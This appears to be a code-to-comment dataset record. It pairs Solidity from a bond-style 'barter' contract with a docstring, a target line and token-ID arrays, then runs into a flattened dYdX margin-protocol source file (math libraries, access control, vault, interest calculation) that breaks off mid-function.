block.number; } /* ======== VIEW FUNCTIONS ======== */ /** * @notice determine maximum barter size * @return uint */ function maxPayout() public view returns ( uint ) { return IERC20( USV ).totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate interest due for new barter * @param _value uint * @return uint */ function payoutFor( uint _value ) public view returns ( uint ) { return FixedPoint.fraction( _value, barterPrice() ).decode112with18().div( 1e16 ); } /** * @notice calculate current barter premium * @return price_ uint */ function barterPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate current barter price and remove floor if above * @return price_ uint */ function _barterPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /** * @notice converts barter price to DAI value * @return price_ uint */ function barterPriceInUSD() public view returns ( uint price_ ) { if( isLiquidityBarter ) { price_ = barterPrice().mul( IBarterCalculator( barterCalculator ).markdown( principle ) ).div( 100 ); } else { price_ = barterPrice().mul( 10 ** IERC20( principle ).decimals() ).div( 100 ); } } /** * @notice calculate current ratio of debt to USV supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { uint supply = IERC20( USV ).totalSupply(); debtRatio_ = FixedPoint.fraction( currentDebt().mul( 1e9 ), supply ).decode112with18().div( 1e18 ); } /** * @notice debt ratio in same terms for reserve or liquidity barters * @return uint */ function standardizedDebtRatio() external view returns ( uint ) { if ( isLiquidityBarter ) { return debtRatio().mul( IBarterCalculator( barterCalculator ).markdown( principle ) ).div( 1e9 ); } else { return debtRatio(); } } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint blocksSinceLast = block.number.sub( lastDecay ); decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Barter memory barter = barterInfo[ _depositor ]; uint blocksSinceLast = block.number.sub( barter.lastBlock ); uint vesting = barter.vesting; if ( vesting > 0 ) { percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of USV available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = barterInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /* ======= AUXILLIARY ======= */ /** * @notice allow anyone to send lost tokens (excluding principle or USV) to the AtlasTeam * @return bool */ function recoverLostToken( address _token ) external returns ( bool ) { require( _token != USV ); require( _token != principle ); IERC20( _token ).safeTransfer( AtlasTeam, IERC20( _token ).balanceOf( address(this) ) ); return true; } }
calculates value of LP tokens
address public immutable barterCalculator;
2,335,765
[ 1, 12780, 815, 460, 434, 511, 52, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 1071, 11732, 4653, 387, 19278, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; pragma experimental "v0.5.0"; /* Copyright 2018 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // File: openzeppelin-solidity/contracts/math/Math.sol /** * @title Math * @dev Assorted math operations */ library Math { function max64(uint64 _a, uint64 _b) internal pure returns (uint64) { return _a >= _b ? _a : _b; } function min64(uint64 _a, uint64 _b) internal pure returns (uint64) { return _a < _b ? _a : _b; } function max256(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a >= _b ? _a : _b; } function min256(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a < _b ? _a : _b; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/lib/AccessControlledBase.sol /** * @title AccessControlledBase * @author dYdX * * Base functionality for access control. Requires an implementation to * provide a way to grant and optionally revoke access */ contract AccessControlledBase { // ============ State Variables ============ mapping (address => bool) public authorized; // ============ Events ============ event AccessGranted( address who ); event AccessRevoked( address who ); // ============ Modifiers ============ modifier requiresAuthorization() { require( authorized[msg.sender], "AccessControlledBase#requiresAuthorization: Sender not authorized" ); _; } } // File: contracts/lib/StaticAccessControlled.sol /** * @title StaticAccessControlled * @author dYdX * * Allows for functions to be access controled * Permissions cannot be changed after a grace period */ contract StaticAccessControlled is AccessControlledBase, Ownable { using SafeMath for uint256; // ============ State Variables ============ // Timestamp after which no additional access can be granted uint256 public GRACE_PERIOD_EXPIRATION; // ============ Constructor ============ constructor( uint256 gracePeriod ) public Ownable() { GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod); } // ============ Owner-Only State-Changing Functions ============ function grantAccess( address who ) external onlyOwner { require( block.timestamp < GRACE_PERIOD_EXPIRATION, "StaticAccessControlled#grantAccess: Cannot grant access after grace period" ); emit AccessGranted(who); authorized[who] = true; } } // File: contracts/lib/GeneralERC20.sol /** * @title GeneralERC20 * @author dYdX * * Interface for using ERC20 Tokens. We have to use a special interface to call ERC20 functions so * that we dont automatically revert when calling non-compliant tokens that have no return value for * transfer(), transferFrom(), or approve(). */ interface GeneralERC20 { function totalSupply( ) external view returns (uint256); function balanceOf( address who ) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); function transfer( address to, uint256 value ) external; function transferFrom( address from, address to, uint256 value ) external; function approve( address spender, uint256 value ) external; } // File: contracts/lib/TokenInteract.sol /** * @title TokenInteract * @author dYdX * * This library contains functions for interacting with ERC20 tokens */ library TokenInteract { function balanceOf( address token, address owner ) internal view returns (uint256) { return GeneralERC20(token).balanceOf(owner); } function allowance( address token, address owner, address spender ) internal view returns (uint256) { return GeneralERC20(token).allowance(owner, spender); } function approve( address token, address spender, uint256 amount ) internal { GeneralERC20(token).approve(spender, amount); require( checkSuccess(), "TokenInteract#approve: Approval failed" ); } function transfer( address token, address to, uint256 amount ) internal { address from = address(this); if ( amount == 0 || from == to ) { return; } GeneralERC20(token).transfer(to, amount); require( checkSuccess(), "TokenInteract#transfer: Transfer failed" ); } function transferFrom( address token, address from, address to, uint256 amount ) internal { if ( amount == 0 || from == to ) { return; } GeneralERC20(token).transferFrom(from, to, amount); require( checkSuccess(), "TokenInteract#transferFrom: TransferFrom failed" ); } // ============ Private Helper-Functions ============ /** * Checks the return value of the previous function up to 32 bytes. Returns true if the previous * function returned 0 bytes or 32 bytes that are not all-zero. */ function checkSuccess( ) private pure returns (bool) { uint256 returnValue = 0; /* solium-disable-next-line security/no-inline-assembly */ assembly { // check number of bytes returned from last function call switch returndatasize // no bytes returned: assume success case 0x0 { returnValue := 1 } // 32 bytes returned: check if non-zero case 0x20 { // copy 32 bytes into scratch space returndatacopy(0x0, 0x0, 0x20) // load those bytes into returnValue returnValue := mload(0x0) } // not sure what was returned: dont mark as success default { } } return returnValue != 0; } } // File: contracts/margin/TokenProxy.sol /** * @title TokenProxy * @author dYdX * * Used to transfer tokens between addresses which have set allowance on this contract. */ contract TokenProxy is StaticAccessControlled { using SafeMath for uint256; // ============ Constructor ============ constructor( uint256 gracePeriod ) public StaticAccessControlled(gracePeriod) {} // ============ Authorized-Only State Changing Functions ============ /** * Transfers tokens from an address (that has set allowance on the proxy) to another address. * * @param token The address of the ERC20 token * @param from The address to transfer token from * @param to The address to transfer tokens to * @param value The number of tokens to transfer */ function transferTokens( address token, address from, address to, uint256 value ) external requiresAuthorization { TokenInteract.transferFrom( token, from, to, value ); } // ============ Public Constant Functions ============ /** * Getter function to get the amount of token that the proxy is able to move for a particular * address. The minimum of 1) the balance of that address and 2) the allowance given to proxy. * * @param who The owner of the tokens * @param token The address of the ERC20 token * @return The number of tokens able to be moved by the proxy from the address specified */ function available( address who, address token ) external view returns (uint256) { return Math.min256( TokenInteract.allowance(token, who, address(this)), TokenInteract.balanceOf(token, who) ); } } // File: contracts/margin/Vault.sol /** * @title Vault * @author dYdX * * Holds and transfers tokens in vaults denominated by id * * Vault only supports ERC20 tokens, and will not accept any tokens that require * a tokenFallback or equivalent function (See ERC223, ERC777, etc.) */ contract Vault is StaticAccessControlled { using SafeMath for uint256; // ============ Events ============ event ExcessTokensWithdrawn( address indexed token, address indexed to, address caller ); // ============ State Variables ============ // Address of the TokenProxy contract. Used for moving tokens. address public TOKEN_PROXY; // Map from vault ID to map from token address to amount of that token attributed to the // particular vault ID. mapping (bytes32 => mapping (address => uint256)) public balances; // Map from token address to total amount of that token attributed to some account. mapping (address => uint256) public totalBalances; // ============ Constructor ============ constructor( address proxy, uint256 gracePeriod ) public StaticAccessControlled(gracePeriod) { TOKEN_PROXY = proxy; } // ============ Owner-Only State-Changing Functions ============ /** * Allows the owner to withdraw any excess tokens sent to the vault by unconventional means, * including (but not limited-to) token airdrops. Any tokens moved to the vault by TOKEN_PROXY * will be accounted for and will not be withdrawable by this function. * * @param token ERC20 token address * @param to Address to transfer tokens to * @return Amount of tokens withdrawn */ function withdrawExcessToken( address token, address to ) external onlyOwner returns (uint256) { uint256 actualBalance = TokenInteract.balanceOf(token, address(this)); uint256 accountedBalance = totalBalances[token]; uint256 withdrawableBalance = actualBalance.sub(accountedBalance); require( withdrawableBalance != 0, "Vault#withdrawExcessToken: Withdrawable token amount must be non-zero" ); TokenInteract.transfer(token, to, withdrawableBalance); emit ExcessTokensWithdrawn(token, to, msg.sender); return withdrawableBalance; } // ============ Authorized-Only State-Changing Functions ============ /** * Transfers tokens from an address (that has approved the proxy) to the vault. * * @param id The vault which will receive the tokens * @param token ERC20 token address * @param from Address from which the tokens will be taken * @param amount Number of the token to be sent */ function transferToVault( bytes32 id, address token, address from, uint256 amount ) external requiresAuthorization { // First send tokens to this contract TokenProxy(TOKEN_PROXY).transferTokens( token, from, address(this), amount ); // Then increment balances balances[id][token] = balances[id][token].add(amount); totalBalances[token] = totalBalances[token].add(amount); // This should always be true. If not, something is very wrong assert(totalBalances[token] >= balances[id][token]); validateBalance(token); } /** * Transfers a certain amount of funds to an address. * * @param id The vault from which to send the tokens * @param token ERC20 token address * @param to Address to transfer tokens to * @param amount Number of the token to be sent */ function transferFromVault( bytes32 id, address token, address to, uint256 amount ) external requiresAuthorization { // Next line also asserts that (balances[id][token] >= amount); balances[id][token] = balances[id][token].sub(amount); // Next line also asserts that (totalBalances[token] >= amount); totalBalances[token] = totalBalances[token].sub(amount); // This should always be true. If not, something is very wrong assert(totalBalances[token] >= balances[id][token]); // Do the sending TokenInteract.transfer(token, to, amount); // asserts transfer succeeded // Final validation validateBalance(token); } // ============ Private Helper-Functions ============ /** * Verifies that this contract is in control of at least as many tokens as accounted for * * @param token Address of ERC20 token */ function validateBalance( address token ) private view { // The actual balance could be greater than totalBalances[token] because anyone // can send tokens to the contract's address which cannot be accounted for assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]); } } // File: contracts/lib/ReentrancyGuard.sol /** * @title ReentrancyGuard * @author dYdX * * Optimized version of the well-known ReentrancyGuard contract */ contract ReentrancyGuard { uint256 private _guardCounter = 1; modifier nonReentrant() { uint256 localCounter = _guardCounter + 1; _guardCounter = localCounter; _; require( _guardCounter == localCounter, "Reentrancy check failure" ); } } // File: openzeppelin-solidity/contracts/AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param _addr address to check * @return whether the target address is a contract */ function isContract(address _addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(_addr) } return size > 0; } } // File: contracts/lib/Fraction.sol /** * @title Fraction * @author dYdX * * This library contains implementations for fraction structs. */ library Fraction { struct Fraction128 { uint128 num; uint128 den; } } // File: contracts/lib/FractionMath.sol /** * @title FractionMath * @author dYdX * * This library contains safe math functions for manipulating fractions. */ library FractionMath { using SafeMath for uint256; using SafeMath for uint128; /** * Returns a Fraction128 that is equal to a + b * * @param a The first Fraction128 * @param b The second Fraction128 * @return The result (sum) */ function add( Fraction.Fraction128 memory a, Fraction.Fraction128 memory b ) internal pure returns (Fraction.Fraction128 memory) { uint256 left = a.num.mul(b.den); uint256 right = b.num.mul(a.den); uint256 denominator = a.den.mul(b.den); // if left + right overflows, prevent overflow if (left + right < left) { left = left.div(2); right = right.div(2); denominator = denominator.div(2); } return bound(left.add(right), denominator); } /** * Returns a Fraction128 that is equal to a - (1/2)^d * * @param a The Fraction128 * @param d The power of (1/2) * @return The result */ function sub1Over( Fraction.Fraction128 memory a, uint128 d ) internal pure returns (Fraction.Fraction128 memory) { if (a.den % d == 0) { return bound( a.num.sub(a.den.div(d)), a.den ); } return bound( a.num.mul(d).sub(a.den), a.den.mul(d) ); } /** * Returns a Fraction128 that is equal to a / d * * @param a The first Fraction128 * @param d The divisor * @return The result (quotient) */ function div( Fraction.Fraction128 memory a, uint128 d ) internal pure returns (Fraction.Fraction128 memory) { if (a.num % d == 0) { return bound( a.num.div(d), a.den ); } return bound( a.num, a.den.mul(d) ); } /** * Returns a Fraction128 that is equal to a * b. * * @param a The first Fraction128 * @param b The second Fraction128 * @return The result (product) */ function mul( Fraction.Fraction128 memory a, Fraction.Fraction128 memory b ) internal pure returns (Fraction.Fraction128 memory) { return bound( a.num.mul(b.num), a.den.mul(b.den) ); } /** * Returns a fraction from two uint256's. Fits them into uint128 if necessary. * * @param num The numerator * @param den The denominator * @return The Fraction128 that matches num/den most closely */ /* solium-disable-next-line security/no-assign-params */ function bound( uint256 num, uint256 den ) internal pure returns (Fraction.Fraction128 memory) { uint256 max = num > den ? num : den; uint256 first128Bits = (max >> 128); if (first128Bits != 0) { first128Bits += 1; num /= first128Bits; den /= first128Bits; } assert(den != 0); // coverage-enable-line assert(den < 2**128); assert(num < 2**128); return Fraction.Fraction128({ num: uint128(num), den: uint128(den) }); } /** * Returns an in-memory copy of a Fraction128 * * @param a The Fraction128 to copy * @return A copy of the Fraction128 */ function copy( Fraction.Fraction128 memory a ) internal pure returns (Fraction.Fraction128 memory) { validate(a); return Fraction.Fraction128({ num: a.num, den: a.den }); } // ============ Private Helper-Functions ============ /** * Asserts that a Fraction128 is valid (i.e. the denominator is non-zero) * * @param a The Fraction128 to validate */ function validate( Fraction.Fraction128 memory a ) private pure { assert(a.den != 0); // coverage-enable-line } } // File: contracts/lib/Exponent.sol /** * @title Exponent * @author dYdX * * This library contains an implementation for calculating e^X for arbitrary fraction X */ library Exponent { using SafeMath for uint256; using FractionMath for Fraction.Fraction128; // ============ Constants ============ // 2**128 - 1 uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455; // Number of precomputed integers, X, for E^((1/2)^X) uint256 constant public MAX_PRECOMPUTE_PRECISION = 32; // Number of precomputed integers, X, for E^X uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32; // ============ Public Implementation Functions ============ /** * Returns e^X for any fraction X * * @param X The exponent * @param precomputePrecision Accuracy of precomputed terms * @param maclaurinPrecision Accuracy of Maclaurin terms * @return e^X */ function exp( Fraction.Fraction128 memory X, uint256 precomputePrecision, uint256 maclaurinPrecision ) internal pure returns (Fraction.Fraction128 memory) { require( precomputePrecision <= MAX_PRECOMPUTE_PRECISION, "Exponent#exp: Precompute precision over maximum" ); Fraction.Fraction128 memory Xcopy = X.copy(); if (Xcopy.num == 0) { // e^0 = 1 return ONE(); } // get the integer value of the fraction (example: 9/4 is 2.25 so has integerValue of 2) uint256 integerX = uint256(Xcopy.num).div(Xcopy.den); // if X is less than 1, then just calculate X if (integerX == 0) { return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision); } // get e^integerX Fraction.Fraction128 memory expOfInt = getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS); while (integerX >= NUM_PRECOMPUTED_INTEGERS) { expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS)); integerX -= NUM_PRECOMPUTED_INTEGERS; } // multiply e^integerX by e^decimalX Fraction.Fraction128 memory decimalX = Fraction.Fraction128({ num: Xcopy.num % Xcopy.den, den: Xcopy.den }); return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt); } /** * Returns e^X for any X < 1. Multiplies precomputed values to get close to the real value, then * Maclaurin Series approximation to reduce error. * * @param X Exponent * @param precomputePrecision Accuracy of precomputed terms * @param maclaurinPrecision Accuracy of Maclaurin terms * @return e^X */ function expHybrid( Fraction.Fraction128 memory X, uint256 precomputePrecision, uint256 maclaurinPrecision ) internal pure returns (Fraction.Fraction128 memory) { assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION); assert(X.num < X.den); // will also throw if precomputePrecision is larger than the array length in getDenominator Fraction.Fraction128 memory Xtemp = X.copy(); if (Xtemp.num == 0) { // e^0 = 1 return ONE(); } Fraction.Fraction128 memory result = ONE(); uint256 d = 1; // 2^i for (uint256 i = 1; i <= precomputePrecision; i++) { d *= 2; // if Fraction > 1/d, subtract 1/d and multiply result by precomputed e^(1/d) if (d.mul(Xtemp.num) >= Xtemp.den) { Xtemp = Xtemp.sub1Over(uint128(d)); result = result.mul(getPrecomputedEToTheHalfToThe(i)); } } return result.mul(expMaclaurin(Xtemp, maclaurinPrecision)); } /** * Returns e^X for any X, using Maclaurin Series approximation * * e^X = SUM(X^n / n!) for n >= 0 * e^X = 1 + X/1! + X^2/2! + X^3/3! ... * * @param X Exponent * @param precision Accuracy of Maclaurin terms * @return e^X */ function expMaclaurin( Fraction.Fraction128 memory X, uint256 precision ) internal pure returns (Fraction.Fraction128 memory) { Fraction.Fraction128 memory Xcopy = X.copy(); if (Xcopy.num == 0) { // e^0 = 1 return ONE(); } Fraction.Fraction128 memory result = ONE(); Fraction.Fraction128 memory Xtemp = ONE(); for (uint256 i = 1; i <= precision; i++) { Xtemp = Xtemp.mul(Xcopy.div(uint128(i))); result = result.add(Xtemp); } return result; } /** * Returns a fraction roughly equaling E^((1/2)^x) for integer x */ function getPrecomputedEToTheHalfToThe( uint256 x ) internal pure returns (Fraction.Fraction128 memory) { assert(x <= MAX_PRECOMPUTE_PRECISION); uint128 denominator = [ 125182886983370532117250726298150828301, 206391688497133195273760705512282642279, 265012173823417992016237332255925138361, 300298134811882980317033350418940119802, 319665700530617779809390163992561606014, 329812979126047300897653247035862915816, 335006777809430963166468914297166288162, 337634268532609249517744113622081347950, 338955731696479810470146282672867036734, 339618401537809365075354109784799900812, 339950222128463181389559457827561204959, 340116253979683015278260491021941090650, 340199300311581465057079429423749235412, 340240831081268226777032180141478221816, 340261598367316729254995498374473399540, 340271982485676106947851156443492415142, 340277174663693808406010255284800906112, 340279770782412691177936847400746725466, 340281068849199706686796915841848278311, 340281717884450116236033378667952410919, 340282042402539547492367191008339680733, 340282204661700319870089970029119685699, 340282285791309720262481214385569134454, 340282326356121674011576912006427792656, 340282346638529464274601981200276914173, 340282356779733812753265346086924801364, 340282361850336100329388676752133324799, 340282364385637272451648746721404212564, 340282365653287865596328444437856608255, 340282366287113163939555716675618384724, 340282366604025813553891209601455838559, 340282366762482138471739420386372790954, 340282366841710300958333641874363209044 ][x]; return Fraction.Fraction128({ num: MAX_NUMERATOR, den: denominator }); } /** * Returns a fraction roughly equaling E^(x) for integer x */ function getPrecomputedEToThe( uint256 x ) internal pure returns (Fraction.Fraction128 memory) { assert(x <= NUM_PRECOMPUTED_INTEGERS); uint128 denominator = [ 340282366920938463463374607431768211455, 125182886983370532117250726298150828301, 46052210507670172419625860892627118820, 16941661466271327126146327822211253888, 6232488952727653950957829210887653621, 2292804553036637136093891217529878878, 843475657686456657683449904934172134, 310297353591408453462393329342695980, 114152017036184782947077973323212575, 41994180235864621538772677139808695, 15448795557622704876497742989562086, 5683294276510101335127414470015662, 2090767122455392675095471286328463, 769150240628514374138961856925097, 282954560699298259527814398449860, 104093165666968799599694528310221, 38293735615330848145349245349513, 14087478058534870382224480725096, 5182493555688763339001418388912, 1906532833141383353974257736699, 701374233231058797338605168652, 258021160973090761055471434334, 94920680509187392077350434438, 34919366901332874995585576427, 12846117181722897538509298435, 4725822410035083116489797150, 1738532907279185132707372378, 639570514388029575350057932, 235284843422800231081973821, 86556456714490055457751527, 31842340925906738090071268, 11714142585413118080082437, 4309392228124372433711936 ][x]; return Fraction.Fraction128({ num: MAX_NUMERATOR, den: denominator }); } // ============ Private Helper-Functions ============ function ONE() private pure returns (Fraction.Fraction128 memory) { return Fraction.Fraction128({ num: 1, den: 1 }); } } // File: contracts/lib/MathHelpers.sol /** * @title MathHelpers * @author dYdX * * This library helps with common math functions in Solidity */ library MathHelpers { using SafeMath for uint256; /** * Calculates partial value given a numerator and denominator. * * @param numerator Numerator * @param denominator Denominator * @param target Value to calculate partial of * @return target * numerator / denominator */ function getPartialAmount( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256) { return numerator.mul(target).div(denominator); } /** * Calculates partial value given a numerator and denominator, rounded up. * * @param numerator Numerator * @param denominator Denominator * @param target Value to calculate partial of * @return Rounded-up result of target * numerator / denominator */ function getPartialAmountRoundedUp( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256) { return divisionRoundedUp(numerator.mul(target), denominator); } /** * Calculates division given a numerator and denominator, rounded up. * * @param numerator Numerator. * @param denominator Denominator. * @return Rounded-up result of numerator / denominator */ function divisionRoundedUp( uint256 numerator, uint256 denominator ) internal pure returns (uint256) { assert(denominator != 0); // coverage-enable-line if (numerator == 0) { return 0; } return numerator.sub(1).div(denominator).add(1); } /** * Calculates and returns the maximum value for a uint256 in solidity * * @return The maximum value for uint256 */ function maxUint256( ) internal pure returns (uint256) { return 2 ** 256 - 1; } /** * Calculates and returns the maximum value for a uint256 in solidity * * @return The maximum value for uint256 */ function maxUint32( ) internal pure returns (uint32) { return 2 ** 32 - 1; } /** * Returns the number of bits in a uint256. That is, the lowest number, x, such that n >> x == 0 * * @param n The uint256 to get the number of bits in * @return The number of bits in n */ function getNumBits( uint256 n ) internal pure returns (uint256) { uint256 first = 0; uint256 last = 256; while (first < last) { uint256 check = (first + last) / 2; if ((n >> check) == 0) { last = check; } else { first = check + 1; } } assert(first <= 256); return first; } } // File: contracts/margin/impl/InterestImpl.sol /** * @title InterestImpl * @author dYdX * * A library that calculates continuously compounded interest for principal, time period, and * interest rate. */ library InterestImpl { using SafeMath for uint256; using FractionMath for Fraction.Fraction128; // ============ Constants ============ uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11; uint256 constant DEFAULT_MACLAURIN_PRECISION = 5; uint256 constant MAXIMUM_EXPONENT = 80; uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613; // ============ Public Implementation Functions ============ /** * Returns total tokens owed after accruing interest. Continuously compounding and accurate to * roughly 10^18 decimal places. Continuously compounding interest follows the formula: * I = P * e^(R*T) * * @param principal Principal of the interest calculation * @param interestRate Annual nominal interest percentage times 10**6. * (example: 5% = 5e6) * @param secondsOfInterest Number of seconds that interest has been accruing * @return Total amount of tokens owed. Greater than tokenAmount. */ function getCompoundedInterest( uint256 principal, uint256 interestRate, uint256 secondsOfInterest ) public pure returns (uint256) { uint256 numerator = interestRate.mul(secondsOfInterest); uint128 denominator = (10**8) * (365 * 1 days); // interestRate and secondsOfInterest should both be uint32 assert(numerator < 2**128); // fraction representing (Rate * Time) Fraction.Fraction128 memory rt = Fraction.Fraction128({ num: uint128(numerator), den: denominator }); // calculate e^(RT) Fraction.Fraction128 memory eToRT; if (numerator.div(denominator) >= MAXIMUM_EXPONENT) { // degenerate case: cap calculation eToRT = Fraction.Fraction128({ num: 